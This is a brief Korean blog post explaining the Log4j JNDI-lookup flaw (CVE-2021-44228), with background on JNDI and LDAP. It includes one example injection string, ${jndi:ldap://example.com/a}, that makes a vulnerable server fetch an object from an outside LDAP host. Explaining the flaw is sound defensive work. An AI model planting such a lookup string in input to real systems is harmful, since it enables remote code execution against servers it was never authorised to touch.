IT보안관의 공부 클라우드

Log4j 이슈 간단 정리 본문

IT/정보보안

Log4j 이슈 간단 정리

ㅡㅡㅡㅡㄷ 2022. 4. 18. 18:13

Log4j는 Java/Kotlin/Scala/Groovy/Clojure 프로그램의 로그를 기록해주는 라이브러리이다.

프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해준다.

 

취약점은 JNDI와 LDAP를 이용한다.


JNDI(Java Naming and Directory Interface)는 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup)하기 위한 자바 API다.

JNDI는 일반적으로 다음의 용도로 쓰인다:

  • 자바 애플리케이션을 외부 디렉터리 서비스에 연결 (예: 주소 데이터베이스 또는 LDAP 서버)
  • 자바 애플릿이 호스팅 웹 컨테이너가 제공하는 구성 정보를 참고.[1]

출처: https://ko.wikipedia.org/wiki/JNDI


경량 디렉터리 액세스 프로토콜(영어: Lightweight Directory Access Protocol; LDAP)은 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜이다.

 

출처: https://ko.wikipedia.org/wiki/LDAP

 


취약점의 근본적인 원인은 "JNDI Lookup plugin" 기능.

 

- JNDI Lookup은 변수를 JNDI를 통해 변수를 가져올 수 있또록 한다.

- 기본적으로 Key는 java:comp/env/가 prefix 되며, 만약 key에 ":"가 존재한다면 prefix가 추가되지 않는다.

 

예를 들어 ${jndi:ldap://example.com/a}와 같이 키에 ":"가 있고 prefix가 없는 경우 LDAP 서버에서 object에 대한 쿼리를 받는다.

-> ldap 서버에서 java 객체를 jndi를 통해 받아오는 것 같다.

-> 결론적으로 JndiLookup은 Lookup의 하나로, ${jndi:xxxx}라는 변수를 JNDI로 xxxx를 lookup 한 값을 출력하며, JNDI Injection이 이용되면서 임의로 코드가 실행된다.

 

출처: https://darksoulstory.tistory.com/482

 

CVE-2021-44228 Log4j Vulnerability

2021년 12월 10일 Apache는 Apache Log4j 2.14.1 및 그 이전 버전에 영향을 미치는 원격코드 코드 실행(RCE) 취약점인 CVE-2021-44228에 대한 수정 사항이 포함된 Log4j 2.15.0 버전을 발표했다. CVE-2021-44228..

darksoulstory.tistory.com

Comments